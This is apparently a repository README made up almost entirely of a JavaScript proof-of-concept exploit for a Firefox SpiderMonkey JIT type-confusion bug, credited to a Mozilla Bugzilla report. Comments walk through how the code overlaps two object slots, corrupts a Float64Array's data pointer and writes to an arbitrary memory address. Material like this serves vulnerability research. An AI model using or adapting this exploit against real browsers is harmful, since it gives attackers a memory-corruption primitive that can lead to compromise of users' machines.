README.md
Rendering markdown...
//original PoC taken from https://bugzilla.mozilla.org/show_bug.cgi?id=1530958
let ab = new ArrayBuffer(0x1000);
let victim = new Uint8Array(0x1000);
function Hax(val, l, trigger) {
// In the final invocation:
// Ultimately confuse these two objects which each other.
// x will (eventually) be an UnboxedObject, looking a bit like an ArrayBufferView object... :)
let x = {slots: 13.37, elements: 13.38, buffer: ab, length: 13.39, byteOffset: 13.40, data: []};
// y is a real ArrayBufferView object.
let y = new Float64Array(0x1000);
// * Trigger a conversion of |this| to a NativeObject.
// * Update Hax's template type to NativeObject with .a and .x (and potentially .y)
// * Trigger the "roll back" of |this| to a NativeObject with only property .a
// * Bailout of the JITed code due to type inference changes
this.a = val;
// Trigger JIT compilation and OSR entry here. During compilation, IonMonkey will
// incorrectly assume that |this| already has the final type (so already has property .x)
for (let i = 0; i < l; i++) {}
// The JITed code will now only have a property store here and won't update the Shape.
this.x = x;
if (trigger) {
// This property definition is conditional (and rarely used) so that an inline cache
// will be emitted for it, which will inspect the Shape of |this|. As such, .y will
// be put into the same slot as .x, as the Shape of |this| only shows property .a.
this.y = y;
// At this point, .x and .y overlap, and the JITed code below believes that the slot
// for .x still stores the UnboxedObject while in reality it now stores a Float64Array.
}
// This assignment will then corrupt the data pointer of the Float64Array to point to |victim|.
this.x.data = victim;
}
for (let i = 0; i < 1000; i++) {
new Hax(1337, 1, false);
}
let obj = new Hax("asdf", 10000000, true);
// Driver is now a Float64Array whose data pointer points to a Uint8Array.
let driver = obj.y;
// Write to address 0x414141414141 as PoC
driver[7] = 3.54484805889626e-310;
victim[0] = 42;